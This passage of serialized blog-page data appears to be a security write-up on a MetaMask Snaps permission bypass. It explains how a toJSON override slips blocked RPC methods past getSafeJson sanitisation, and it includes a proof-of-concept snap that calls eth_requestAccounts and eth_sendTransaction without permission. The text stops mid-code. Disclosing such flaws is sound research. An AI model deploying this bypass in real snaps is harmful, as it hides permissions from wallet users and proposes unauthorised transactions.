this",{"type":24,"tag":930,"props":42002,"children":42003},{"style":1079},[42004],{"type":30,"value":11937},{"type":24,"tag":930,"props":42006,"children":42007},{"style":943},[42008],{"type":30,"value":13465},{"type":24,"tag":930,"props":42010,"children":42011},{"style":959},[42012],{"type":30,"value":2832},{"type":24,"tag":930,"props":42014,"children":42015},{"class":932,"line":1144},[42016],{"type":24,"tag":930,"props":42017,"children":42018},{"style":959},[42019],{"type":30,"value":5221},{"type":24,"tag":930,"props":42021,"children":42022},{"class":932,"line":1169},[42023,42028,42033],{"type":24,"tag":930,"props":42024,"children":42025},{"style":959},[42026],{"type":30,"value":42027},"      } ",{"type":24,"tag":930,"props":42029,"children":42030},{"style":1079},[42031],{"type":30,"value":42032},"finally",{"type":24,"tag":930,"props":42034,"children":42035},{"style":959},[42036],{"type":30,"value":981},{"type":24,"tag":930,"props":42038,"children":42039},{"class":932,"line":1191},[42040,42045,42049,42053,42057,42061,42066],{"type":24,"tag":930,"props":42041,"children":42042},{"style":937},[42043],{"type":30,"value":42044},"        this",{"type":24,"tag":930,"props":42046,"children":42047},{"style":959},[42048],{"type":30,"value":436},{"type":24,"tag":930,"props":42050,"children":42051},{"style":1002},[42052],{"type":30,"value":41904},{"type":24,"tag":930,"props":42054,"children":42055},{"style":959},[42056],{"type":30,"value":34590},{"type":24,"tag":930,"props":42058,"children":42059},{"style":1023},[42060],{"type":30,"value":34595},{"type":24,"tag":930,"props":42062,"children":42063},{"style":1270},[42064],{"type":30,"value":42065}," 'OutboundResponse'",{"type":24,"tag":930,"props":42067,"children":42068},{"style":959},[42069],{"type":30,"value":41922},{"type":24,"tag":930,"props":42071,"children":42072},{"class":932,"line":1223},[42073],{"type":24,"tag":930,"props":42074,"children":42075},{"style":959},[42076],{"type":30,"value":15771},{"type":24,"tag":930,"props":42078,"children":42079},{"class":932,"line":1281},[42080],{"type":24,"tag":930,"props":42081,"children":42082},{"style":959},[42083],{"type":30,"value":42084},"    };\n",{"type":24,"tag":33,"props":42086,"children":42087},{},[42088,42090,42095,42097,42102],{"type":30,"value":42089},"In particular, this function is from the ",{"type":24,"tag":156,"props":42091,"children":42093},{"className":42092},[],[42094],{"type":30,"value":41266},{"type":30,"value":42096}," provider, but the only thing that changes between this and ",{"type":24,"tag":156,"props":42098,"children":42100},{"className":42099},[],[42101],{"type":30,"value":34509},{"type":30,"value":42103}," is the assert function in the first line.",{"type":24,"tag":33,"props":42105,"children":42106},{},[42107],{"type":30,"value":42108},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":478,"props":42110,"children":42111},{},[42112,42124,42129],{"type":24,"tag":100,"props":42113,"children":42114},{},[42115,42117,42122],{"type":30,"value":42116},"Assert if ",{"type":24,"tag":156,"props":42118,"children":42120},{"className":42119},[],[42121],{"type":30,"value":41316},{"type":30,"value":42123}," are valid",{"type":24,"tag":100,"props":42125,"children":42126},{},[42127],{"type":30,"value":42128},"getSafeJson to get sanitizedArgs",{"type":24,"tag":100,"props":42130,"children":42131},{},[42132],{"type":30,"value":42133},"originalRequest(sanitizedArgs)",{"type":24,"tag":33,"props":42135,"children":42136},{},[42137,42139,42145],{"type":30,"value":42138},"Obs: ",{"type":24,"tag":156,"props":42140,"children":42142},{"className":42141},[],[42143],{"type":30,"value":42144},"originalRequest",{"type":30,"value":42146}," makes the RPC call to metamask service worker",{"type":24,"tag":151,"props":42148,"children":42150},{"id":42149},"safe-json-exploit",[42151],{"type":30,"value":42152},"Safe JSON Exploit",{"type":24,"tag":33,"props":42154,"children":42155},{},[42156,42158,42164,42166,42171,42173,42179],{"type":30,"value":42157},"As we dug further into the",{"type":24,"tag":156,"props":42159,"children":42161},{"className":42160},[],[42162],{"type":30,"value":42163},"getSafeJson",{"type":30,"value":42165}," function (defined in ",{"type":24,"tag":156,"props":42167,"children":42169},{"className":42168},[],[42170],{"type":30,"value":40384},{"type":30,"value":42172}," package) we discovered the following ",{"type":24,"tag":37,"props":42174,"children":42177},{"href":42175,"rel":42176},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[41],[42178],{"type":30,"value":156},{"type":30,"value":476},{"type":24,"tag":920,"props":42181,"children":42183},{"className":38701,"code":42182,"language":38703,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[42184],{"type":24,"tag":156,"props":42185,"children":42186},{"__ignoreMap":7},[42187,42252,42279,42304,42359,42367,42414,42430,42437,42454,42461,42468],{"type":24,"tag":930,"props":42188,"children":42189},{"class":932,"line":933},[42190,42194,42199,42204,42208,42213,42217,42222,42226,42230,42235,42240,42244,42248],{"type":24,"tag":930,"props":42191,"children":42192},{"style":1079},[42193],{"type":30,"value":41297},{"type":24,"tag":930,"props":42195,"children":42196},{"style":937},[42197],{"type":30,"value":42198}," const",{"type":24,"tag":930,"props":42200,"children":42201},{"style":1023},[42202],{"type":30,"value":42203}," JsonStruct",{"type":24,"tag":930,"props":42205,"children":42206},{"style":1158},[42207],{"type":30,"value":6137},{"type":24,"tag":930,"props":42209,"children":42210},{"style":1002},[42211],{"type":30,"value":42212}," coerce",{"type":24,"tag":930,"props":42214,"children":42215},{"style":959},[42216],{"type":30,"value":1010},{"type":24,"tag":930,"props":42218,"children":42219},{"style":1023},[42220],{"type":30,"value":42221},"UnsafeJsonStruct",{"type":24,"tag":930,"props":42223,"children":42224},{"style":959},[42225],{"type":30,"value":962},{"type":24,"tag":930,"props":42227,"children":42228},{"style":1002},[42229],{"type":30,"value":19814},{"type":24,"tag":930,"props":42231,"children":42232},{"style":959},[42233],{"type":30,"value":42234},"(), (",{"type":24,"tag":930,"props":42236,"children":42237},{"style":1023},[42238],{"type":30,"value":42239},"value",{"type":24,"tag":930,"props":42241,"children":42242},{"style":959},[42243],{"type":30,"value":5579},{"type":24,"tag":930,"props":42245,"children":42246},{"style":937},[42247],{"type":30,"value":17925},{"type":24,"tag":930,"props":42249,"children":42250},{"style":959},[42251],{"type":30,"value":981},{"type":24,"tag":930,"props":42253,"children":42254},{"class":932,"line":984},[42255,42259,42263,42267,42271,42275],{"type":24,"tag":930,"props":42256,"children":42257},{"style":1002},[42258],{"type":30,"value":41647},{"type":24,"tag":930,"props":42260,"children":42261},{"style":959},[42262],{"type":30,"value":1010},{"type":24,"tag":930,"props":42264,"children":42265},{"style":1023},[42266],{"type":30,"value":42239},{"type":24,"tag":930,"props":42268,"children":42269},{"style":959},[42270],{"type":30,"value":962},{"type":24,"tag":930,"props":42272,"children":42273},{"style":1023},[42274],{"type":30,"value":42221},{"type":24,"tag":930,"props":42276,"children":42277},{"style":959},[42278],{"type":30,"value":1278},{"type":24,"tag":930,"props":42280,"children":42281},{"class":932,"line":993},[42282,42287,42291,42295,42300],{"type":24,"tag":930,"props":42283,"children":42284},{"style":1079},[42285],{"type":30,"value":42286},"  return",{"type":24,"tag":930,"props":42288,"children":42289},{"style":1023},[42290],{"type":30,"value":40616},{"type":24,"tag":930,"props":42292,"children":42293},{"style":959},[42294],{"type":30,"value":436},{"type":24,"tag":930,"props":42296,"children":42297},{"style":1002},[42298],{"type":30,"value":42299},"parse",{"type":24,"tag":930,"props":42301,"children":42302},{"style":959},[42303],{"type":30,"value":2814},{"type":24,"tag":930,"props":42305,"children":42306},{"class":932,"line":1057},[42307,42312,42316,42321,42325,42329,42333,42338,42342,42347,42351,42355],{"type":24,"tag":930,"props":42308,"children":42309},{"style":1023},[42310],{"type":30,"value":42311},"    JSON",{"type":24,"tag":930,"props":42313,"children":42314},{"style":959},[42315],{"type":30,"value":436},{"type":24,"tag":930,"props":42317,"children":42318},{"style":1002},[42319],{"type":30,"value":42320},"stringify",{"type":24,"tag":930,"props":42322,"children":42323},{"style":959},[42324],{"type":30,"value":1010},{"type":24,"tag":930,"props":42326,"children":42327},{"style":1023},[42328],{"type":30,"value":42239},{"type":24,"tag":930,"props":42330,"children":42331},{"style":959},[42332],{"type":30,"value":11928},{"type":24,"tag":930,"props":42334,"children":42335},{"style":1023},[42336],{"type":30,"value":42337},"propKey",{"type":24,"tag":930,"props":42339,"children":42340},{"style":959},[42341],{"type":30,"value":962},{"type":24,"tag":930,"props":42343,"children":42344},{"style":1023},[42345],{"type":30,"value":42346},"propValue",{"type":24,"tag":930,"props":42348,"children":42349},{"style":959},[42350],{"type":30,"value":5579},{"type":24,"tag":930,"props":42352,"children":42353},{"style":937},[42354],{"type":30,"value":17925},{"type":24,"tag":930,"props":42356,"children":42357},{"style":959},[42358],{"type":30,"value":981},{"type":24,"tag":930,"props":42360,"children":42361},{"class":932,"line":1066},[42362],{"type":24,"tag":930,"props":42363,"children":42364},{"style":1422},[42365],{"type":30,"value":42366},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":24,"tag":930,"props":42368,"children":42369},{"class":932,"line":1075},[42370,42375,42379,42383,42387,42392,42396,42401,42405,42410],{"type":24,"tag":930,"props":42371,"children":42372},{"style":1079},[42373],{"type":30,"value":42374},"      if",{"type":24,"tag":930,"props":42376,"children":42377},{"style":959},[42378],{"type":30,"value":1087},{"type":24,"tag":930,"props":42380,"children":42381},{"style":1023},[42382],{"type":30,"value":42337},{"type":24,"tag":930,"props":42384,"children":42385},{"style":1158},[42386],{"type":30,"value":34514},{"type":24,"tag":930,"props":42388,"children":42389},{"style":1270},[42390],{"type":30,"value":42391}," '__proto__'",{"type":24,"tag":930,"props":42393,"children":42394},{"style":1158},[42395],{"type":30,"value":1250},{"type":24,"tag":930,"props":42397,"children":42398},{"style":1023},[42399],{"type":30,"value":42400}," propKey",{"type":24,"tag":930,"props":42402,"children":42403},{"style":1158},[42404],{"type":30,"value":34514},{"type":24,"tag":930,"props":42406,"children":42407},{"style":1270},[42408],{"type":30,"value":42409}," 'constructor'",{"type":24,"tag":930,"props":42411,"children":42412},{"style":959},[42413],{"type":30,"value":1503},{"type":24,"tag":930,"props":42415,"children":42416},{"class":932,"line":1122},[42417,42421,42426],{"type":24,"tag":930,"props":42418,"children":42419},{"style":1079},[42420],{"type":30,"value":18847},{"type":24,"tag":930,"props":42422,"children":42423},{"style":937},[42424],{"type":30,"value":42425}," undefined",{"type":24,"tag":930,"props":42427,"children":42428},{"style":959},[42429],{"type":30,"value":5539},{"type":24,"tag":930,"props":42431,"children":42432},{"class":932,"line":1131},[42433],{"type":24,"tag":930,"props":42434,"children":42435},{"style":959},[42436],{"type":30,"value":15771},{"type":24,"tag":930,"props":42438,"children":42439},{"class":932,"line":1144},[42440,42445,42450],{"type":24,"tag":930,"props":42441,"children":42442},{"style":1079},[42443],{"type":30,"value":42444},"      return",{"type":24,"tag":930,"props":42446,"children":42447},{"style":1023},[42448],{"type":30,"value":42449}," propValue",{"type":24,"tag":930,"props":42451,"children":42452},{"style":959},[42453],{"type":30,"value":5539},{"type":24,"tag":930,"props":42455,"children":42456},{"class":932,"line":1169},[42457],{"type":24,"tag":930,"props":42458,"children":42459},{"style":959},[42460],{"type":30,"value":41632},{"type":24,"tag":930,"props":42462,"children":42463},{"class":932,"line":1191},[42464],{"type":24,"tag":930,"props":42465,"children":42466},{"style":959},[42467],{"type":30,"value":41499},{"type":24,"tag":930,"props":42469,"children":42470},{"class":932,"line":1223},[42471],{"type":24,"tag":930,"props":42472,"children":42473},{"style":959},[42474],{"type":30,"value":38426},{"type":24,"tag":33,"props":42476,"children":42477},{},[42478,42480,42486,42488,42493,42495,42501,42503,42509],{"type":30,"value":42479},"The function performs a ",{"type":24,"tag":156,"props":42481,"children":42483},{"className":42482},[],[42484],{"type":30,"value":42485},"JSON.parse(JSON.stringify(value))",{"type":30,"value":42487}," in the argument sent to ",{"type":24,"tag":156,"props":42489,"children":42491},{"className":42490},[],[42492],{"type":30,"value":42163},{"type":30,"value":42494},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":156,"props":42496,"children":42498},{"className":42497},[],[42499],{"type":30,"value":42500},"toJSON",{"type":30,"value":42502}," function in a legit ",{"type":24,"tag":156,"props":42504,"children":42506},{"className":42505},[],[42507],{"type":30,"value":42508},"snap.request",{"type":30,"value":42510}," argument:",{"type":24,"tag":478,"props":42512,"children":42513},{},[42514,42519,42524],{"type":24,"tag":100,"props":42515,"children":42516},{},[42517],{"type":30,"value":42518},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":100,"props":42520,"children":42521},{},[42522],{"type":30,"value":42523},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":100,"props":42525,"children":42526},{},[42527],{"type":30,"value":42528},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":33,"props":42530,"children":42531},{},[42532],{"type":30,"value":42533},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":478,"props":42535,"children":42536},{},[42537,42542],{"type":24,"tag":100,"props":42538,"children":42539},{},[42540],{"type":30,"value":42541},"forward blocked RPC methods",{"type":24,"tag":100,"props":42543,"children":42544},{},[42545,42547,42552,42554,42560,42562,42567],{"type":30,"value":42546},"Making requests in ",{"type":24,"tag":156,"props":42548,"children":42550},{"className":42549},[],[42551],{"type":30,"value":42508},{"type":30,"value":42553}," that were only supposed to be done within ",{"type":24,"tag":156,"props":42555,"children":42557},{"className":42556},[],[42558],{"type":30,"value":42559},"ethereum.request",{"type":30,"value":42561}," (with ",{"type":24,"tag":156,"props":42563,"children":42565},{"className":42564},[],[42566],{"type":30,"value":41736},{"type":30,"value":42568}," enabled).",{"type":24,"tag":33,"props":42570,"children":42571},{},[42572],{"type":30,"value":42573},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":151,"props":42575,"children":42576},{"id":8774},[42577],{"type":30,"value":8777},{"type":24,"tag":33,"props":42579,"children":42580},{},[42581],{"type":30,"value":42582},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":33,"props":42584,"children":42585},{},[42586],{"type":24,"tag":140,"props":42587,"children":42589},{"alt":7,"src":42588},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":151,"props":42591,"children":42593},{"id":42592},"proof-of-concept",[42594],{"type":30,"value":37918},{"type":24,"tag":33,"props":42596,"children":42597},{},[42598,42600,42605,42607,42612,42614,42620],{"type":30,"value":42599},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":156,"props":42601,"children":42603},{"className":42602},[],[42604],{"type":30,"value":41736},{"type":30,"value":42606}," permission, and used the ",{"type":24,"tag":156,"props":42608,"children":42610},{"className":42609},[],[42611],{"type":30,"value":41266},{"type":30,"value":42613}," interface to call ",{"type":24,"tag":156,"props":42615,"children":42617},{"className":42616},[],[42618],{"type":30,"value":42619},"eth_sendTransaction",{"type":30,"value":42621},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":920,"props":42623,"children":42625},{"className":38701,"code":42624,"language":38703,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[42626],{"type":24,"tag":156,"props":42627,"children":42628},{"__ignoreMap":7},[42629,42662,42669,42676,42693,42722,42729,42754,42761,42793,42804,42821,42834,42841,42848,42855,42887,42894,42901,42908,42924,42951,42958,42981,42988,43019,43030,43046,43058,43079,43094,43111,43119,43126,43133,43140,43171,43178,43185,43245,43252,43280,43297,43312,43328,43343,43355,43385,43392],{"type":24,"tag":930,"props":42630,"children":42631},{"class":932,"line":933},[42632,42636,42640,42645,42649,42653,42658],{"type":24,"tag":930,"props":42633,"children":42634},{"style":1079},[42635],{"type":30,"value":22586},{"type":24,"tag":930,"props":42637,"children":42638},{"style":959},[42639],{"type":30,"value":12694},{"type":24,"tag":930,"props":42641,"children":42642},{"style":1023},[42643],{"type":30,"value":42644},"OnRpcRequestHandler",{"type":24,"tag":930,"props":42646,"children":42647},{"style":959},[42648],{"type":30,"value":39290},{"type":24,"tag":930,"props":42650,"children":42651},{"style":1079},[42652],{"type":30,"value":22576},{"type":24,"tag":930,"props":42654,"children":42655},{"style":1270},[42656],{"type":30,"value":42657}," '@metamask/snaps-types'",{"type":24,"tag":930,"props":42659,"children":42660},{"style":959},[42661],{"type":30,"value":5539},{"type":24,"tag":930,"props":42663,"children":42664},{"class":932,"line":984},[42665],{"type":24,"tag":930,"props":42666,"children":42667},{"emptyLinePlaceholder":16},[42668],{"type":30,"value":2412},{"type":24,"tag":930,"props":42670,"children":42671},{"class":932,"line":993},[42672],{"type":24,"tag":930,"props":42673,"children":42674},{"emptyLinePlaceholder":16},[42675],{"type":30,"value":2412},{"type":24,"tag":930,"props":42677,"children":42678},{"class":932,"line":1057},[42679,42683,42688],{"type":24,"tag":930,"props":42680,"children":42681},{"style":937},[42682],{"type":30,"value":34469},{"type":24,"tag":930,"props":42684,"children":42685},{"style":1002},[42686],{"type":30,"value":42687}," jsonExploit",{"type":24,"tag":930,"props":42689,"children":42690},{"style":959},[42691],{"type":30,"value":42692},"(){\n",{"type":24,"tag":930,"props":42694,"children":42695},{"class":932,"line":1066},[42696,42700,42704,42708,42713,42717],{"type":24,"tag":930,"props":42697,"children":42698},{"style":937},[42699],{"type":30,"value":10965},{"type":24,"tag":930,"props":42701,"children":42702},{"style":1023},[42703],{"type":30,"value":22167},{"type":24,"tag":930,"props":42705,"children":42706},{"style":1158},[42707],{"type":30,"value":6137},{"type":24,"tag":930,"props":42709,"children":42710},{"style":959},[42711],{"type":30,"value":42712}," [] ",{"type":24,"tag":930,"props":42714,"children":42715},{"style":1079},[42716],{"type":30,"value":11951},{"type":24,"tag":930,"props":42718,"children":42719},{"style":943},[42720],{"type":30,"value":42721}," any\n",{"type":24,"tag":930,"props":42723,"children":42724},{"class":932,"line":1075},[42725],{"type":24,"tag":930,"props":42726,"children":42727},{"emptyLinePlaceholder":16},[42728],{"type":30,"value":2412},{"type":24,"tag":930,"props":42730,"children":42731},{"class":932,"line":1122},[42732,42737,42741,42745,42749],{"type":24,"tag":930,"props":42733,"children":42734},{"style":1023},[42735],{"type":30,"value":42736},"  x",{"type":24,"tag":930,"props":42738,"children":42739},{"style":959},[42740],{"type":30,"value":436},{"type":24,"tag":930,"props":42742,"children":42743},{"style":1023},[42744],{"type":30,"value":41400},{"type":24,"tag":930,"props":42746,"children":42747},{"style":1158},[42748],{"type":30,"value":6137},{"type":24,"tag":930,"props":42750,"children":42751},{"style":1270},[42752],{"type":30,"value":42753}," \"snap_dialog\"\n",{"type":24,"tag":930,"props":42755,"children":42756},{"class":932,"line":1131},[42757],{"type":24,"tag":930,"props":42758,"children":42759},{"emptyLinePlaceholder":16},[42760],{"type":30,"value":2412},{"type":24,"tag":930,"props":42762,"children":42763},{"class":932,"line":1144},[42764,42768,42772,42776,42780,42785,42789],{"type":24,"tag":930,"props":42765,"children":42766},{"style":1023},[42767],{"type":30,"value":42736},{"type":24,"tag":930,"props":42769,"children":42770},{"style":959},[42771],{"type":30,"value":436},{"type":24,"tag":930,"props":42773,"children":42774},{"style":1002},[42775],{"type":30,"value":42500},{"type":24,"tag":930,"props":42777,"children":42778},{"style":1158},[42779],{"type":30,"value":6137},{"type":24,"tag":930,"props":42781,"children":42782},{"style":959},[42783],{"type":30,"value":42784}," () ",{"type":24,"tag":930,"props":42786,"children":42787},{"style":937},[42788],{"type":30,"value":17925},{"type":24,"tag":930,"props":42790,"children":42791},{"style":959},[42792],{"type":30,"value":981},{"type":24,"tag":930,"props":42794,"children":42795},{"class":932,"line":1169},[42796,42800],{"type":24,"tag":930,"props":42797,"children":42798},{"style":1079},[42799],{"type":30,"value":20090},{"type":24,"tag":930,"props":42801,"children":42802},{"style":959},[42803],{"type":30,"value":981},{"type":24,"tag":930,"props":42805,"children":42806},{"class":932,"line":1191},[42807,42812,42817],{"type":24,"tag":930,"props":42808,"children":42809},{"style":1023},[42810],{"type":30,"value":42811},"      method:",{"type":24,"tag":930,"props":42813,"children":42814},{"style":1270},[42815],{"type":30,"value":42816}," \"eth_requestAccounts\"",{"type":24,"tag":930,"props":42818,"children":42819},{"style":959},[42820],{"type":30,"value":2832},{"type":24,"tag":930,"props":42822,"children":42823},{"class":932,"line":1223},[42824,42829],{"type":24,"tag":930,"props":42825,"children":42826},{"style":1023},[42827],{"type":30,"value":42828},"      params:",{"type":24,"tag":930,"props":42830,"children":42831},{"style":959},[42832],{"type":30,"value":42833}," []\n",{"type":24,"tag":930,"props":42835,"children":42836},{"class":932,"line":1281},[42837],{"type":24,"tag":930,"props":42838,"children":42839},{"style":959},[42840],{"type":30,"value":1840},{"type":24,"tag":930,"props":42842,"children":42843},{"class":932,"line":1313},[42844],{"type":24,"tag":930,"props":42845,"children":42846},{"style":959},[42847],{"type":30,"value":8984},{"type":24,"tag":930,"props":42849,"children":42850},{"class":932,"line":1335},[42851],{"type":24,"tag":930,"props":42852,"children":42853},{"emptyLinePlaceholder":16},[42854],{"type":30,"value":2412},{"type":24,"tag":930,"props":42856,"children":42857},{"class":932,"line":1376},[42858,42862,42867,42871,42875,42879,42883],{"type":24,"tag":930,"props":42859,"children":42860},{"style":1079},[42861],{"type":30,"value":42286},{"type":24,"tag":930,"props":42863,"children":42864},{"style":1023},[42865],{"type":30,"value":42866}," snap",{"type":24,"tag":930,"props":42868,"children":42869},{"style":959},[42870],{"type":30,"value":436},{"type":24,"tag":930,"props":42872,"children":42873},{"style":1002},[42874],{"type":30,"value":34585},{"type":24,"tag":930,"props":42876,"children":42877},{"style":959},[42878],{"type":30,"value":1010},{"type":24,"tag":930,"props":42880,"children":42881},{"style":1023},[42882],{"type":30,"value":22378},{"type":24,"tag":930,"props":42884,"children":42885},{"style":959},[42886],{"type":30,"value":1054},{"type":24,"tag":930,"props":42888,"children":42889},{"class":932,"line":1418},[42890],{"type":24,"tag":930,"props":42891,"children":42892},{"emptyLinePlaceholder":16},[42893],{"type":30,"value":2412},{"type":24,"tag":930,"props":42895,"children":42896},{"class":932,"line":1438},[42897],{"type":24,"tag":930,"props":42898,"children":42899},{"style":959},[42900],{"type":30,"value":2528},{"type":24,"tag":930,"props":42902,"children":42903},{"class":932,"line":1479},[42904],{"type":24,"tag":930,"props":42905,"children":42906},{"emptyLinePlaceholder":16},[42907],{"type":30,"value":2412},{"type":24,"tag":930,"props":42909,"children":42910},{"class":932,"line":1506},[42911,42915,42920],{"type":24,"tag":930,"props":42912,"children":42913},{"style":937},[42914],{"type":30,"value":34469},{"type":24,"tag":930,"props":42916,"children":42917},{"style":1002},[42918],{"type":30,"value":42919}," transactionExploit",{"type":24,"tag":930,"props":42921,"children":42922},{"style":959},[42923],{"type":30,"value":42692},{"type":24,"tag":930,"props":42925,"children":42926},{"class":932,"line":1525},[42927,42931,42935,42939,42943,42947],{"type":24,"tag":930,"props":42928,"children":42929},{"style":937},[42930],{"type":30,"value":10965},{"type":24,"tag":930,"props":42932,"children":42933},{"style":1023},[42934],{"type":30,"value":22167},{"type":24,"tag":930,"props":42936,"children":42937},{"style":1158},[42938],{"type":30,"value":6137},{"type":24,"tag":930,"props":42940,"children":42941},{"style":959},[42942],{"type":30,"value":42712},{"type":24,"tag":930,"props":42944,"children":42945},{"style":1079},[42946],{"type":30,"value":11951},{"type":24,"tag":930,"props":42948,"children":42949},{"style":943},[42950],{"type":30,"value":42721},{"type":24,"tag":930,"props":42952,"children":42953},{"class":932,"line":1569},[42954],{"type":24,"tag":930,"props":42955,"children":42956},{"emptyLinePlaceholder":16},[42957],{"type":30,"value":2412},{"type":24,"tag":930,"props":42959,"children":42960},{"class":932,"line":1592},[42961,42965,42969,42973,42977],{"type":24,"tag":930,"props":42962,"children":42963},{"style":1023},[42964],{"type":30,"value":42736},{"type":24,"tag":930,"props":42966,"children":42967},{"style":959},[42968],{"type":30,"value":436},{"type":24,"tag":930,"props":42970,"children":42971},{"style":1023},[42972],{"type":30,"value":41400},{"type":24,"tag":930,"props":42974,"children":42975},{"style":1158},[42976],{"type":30,"value":6137},{"type":24,"tag":930,"props":42978,"children":42979},{"style":1270},[42980],{"type":30,"value":42753},{"type":24,"tag":930,"props":42982,"children":42983},{"class":932,"line":1610},[42984],{"type":24,"tag":930,"props":42985,"children":42986},{"emptyLinePlaceholder":16},[42987],{"type":30,"value":2412},{"type":24,"tag":930,"props":42989,"children":42990},{"class":932,"line":1628},[42991,42995,42999,43003,43007,43011,43015],{"type":24,"tag":930,"props":42992,"children":42993},{"style":1023},[42994],{"type":30,"value":42736},{"type":24,"tag":930,"props":42996,"children":42997},{"style":959},[42998],{"type":30,"value":436},{"type":24,"tag":930,"props":43000,"children":43001},{"style":1002},[43002],{"type":30,"value":42500},{"type":24,"tag":930,"props":43004,"children":43005},{"style":1158},[43006],{"type":30,"value":6137},{"type":24,"tag":930,"props":43008,"children":43009},{"style":959},[43010],{"type":30,"value":42784},{"type":24,"tag":930,"props":43012,"children":43013},{"style":937},[43014],{"type":30,"value":17925},{"type":24,"tag":930,"props":43016,"children":43017},{"style":959},[43018],{"type":30,"value":981},{"type":24,"tag":930,"props":43020,"children":43021},{"class":932,"line":1637},[43022,43026],{"type":24,"tag":930,"props":43023,"children":43024},{"style":1079},[43025],{"type":30,"value":20090},{"type":24,"tag":930,"props":43027,"children":43028},{"style":959},[43029],{"type":30,"value":981},{"type":24,"tag":930,"props":43031,"children":43032},{"class":932,"line":1646},[43033,43037,43042],{"type":24,"tag":930,"props":43034,"children":43035},{"style":1023},[43036],{"type":30,"value":42811},{"type":24,"tag":930,"props":43038,"children":43039},{"style":1270},[43040],{"type":30,"value":43041}," \"eth_sendTransaction\"",{"type":24,"tag":930,"props":43043,"children":43044},{"style":959},[43045],{"type":30,"value":2832},{"type":24,"tag":930,"props":43047,"children":43048},{"class":932,"line":1673},[43049,43053],{"type":24,"tag":930,"props":43050,"children":43051},{"style":1023},[43052],{"type":30,"value":42828},{"type":24,"tag":930,"props":43054,"children":43055},{"style":959},[43056],{"type":30,"value":43057}," [{\n",{"type":24,"tag":930,"props":43059,"children":43060},{"class":932,"line":1692},[43061,43065,43070,43074],{"type":24,"tag":930,"props":43062,"children":43063},{"style":1023},[43064],{"type":30,"value":35155},{"type":24,"tag":930,"props":43066,"children":43067},{"style":1270},[43068],{"type":30,"value":43069}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":930,"props":43071,"children":43072},{"style":959},[43073],{"type":30,"value":962},{"type":24,"tag":930,"props":43075,"children":43076},{"style":1422},[43077],{"type":30,"value":43078},"// change this to your address\n",{"type":24,"tag":930,"props":43080,"children":43081},{"class":932,"line":1730},[43082,43086,43090],{"type":24,"tag":930,"props":43083,"children":43084},{"style":1023},[43085],{"type":30,"value":35171},{"type":24,"tag":930,"props":43087,"children":43088},{"style":1270},[43089],{"type":30,"value":43069},{"type":24,"tag":930,"props":43091,"children":43092},{"style":959},[43093],{"type":30,"value":2832},{"type":24,"tag":930,"props":43095,"children":43096},{"class":932,"line":1762},[43097,43102,43107],{"type":24,"tag":930,"props":43098,"children":43099},{"style":1023},[43100],{"type":30,"value":43101},"        value:",{"type":24,"tag":930,"props":43103,"children":43104},{"style":1270},[43105],{"type":30,"value":43106}," \"0x1\"",{"type":24,"tag":930,"props":43108,"children":43109},{"style":959},[43110],{"type":30,"value":2832},{"type":24,"tag":930,"props":43112,"children":43113},{"class":932,"line":1775},[43114],{"type":24,"tag":930,"props":43115,"children":43116},{"style":959},[43117],{"type":30,"value":43118},"      }]\n",{"type":24,"tag":930,"props":43120,"children":43121},{"class":932,"line":1825},[43122],{"type":24,"tag":930,"props":43123,"children":43124},{"style":959},[43125],{"type":30,"value":1840},{"type":24,"tag":930,"props":43127,"children":43128},{"class":932,"line":1834},[43129],{"type":24,"tag":930,"props":43130,"children":43131},{"style":959},[43132],{"type":30,"value":8984},{"type":24,"tag":930,"props":43134,"children":43135},{"class":932,"line":1843},[43136],{"type":24,"tag":930,"props":43137,"children":43138},{"emptyLinePlaceholder":16},[43139],{"type":30,"value":2412},{"type":24,"tag":930,"props":43141,"children":43142},{"class":932,"line":1851},[43143,43147,43151,43155,43159,43163,43167],{"type":24,"tag":930,"props":43144,"children":43145},{"style":1079},[43146],{"type":30,"value":42286},{"type":24,"tag":930,"props":43148,"children":43149},{"style":1023},[43150],{"type":30,"value":42866},{"type":24,"tag":930,"props":43152,"children":43153},{"style":959},[43154],{"type":30,"value":436},{"type":24,"tag":930,"props":43156,"children":43157},{"style":1002},[43158],{"type":30,"value":34585},{"type":24,"tag":930,"props":43160,"children":43161},{"style":959},[43162],{"type":30,"value":10